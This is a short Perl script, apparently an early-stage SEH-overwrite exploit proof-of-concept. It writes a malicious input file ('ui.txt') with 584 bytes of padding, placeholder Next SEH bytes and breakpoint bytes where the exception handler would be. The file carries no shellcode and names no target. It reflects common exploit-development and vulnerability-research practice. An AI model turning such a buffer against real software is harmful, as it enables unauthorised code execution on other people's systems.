$uitxt = "ui.txt";

#[      BoF     ][Next SEH][SEH Handler]
#[   \x41x584   ][ \x41x4 ][  \xccx4   ]

my $junk = "\x41" x 584 ;
my $nseh = "\x42" x 4;
my $seh  = "\xcc" x 4;

open(myfile,">$uitxt") ;
print myfile $junk.$nseh.$seh;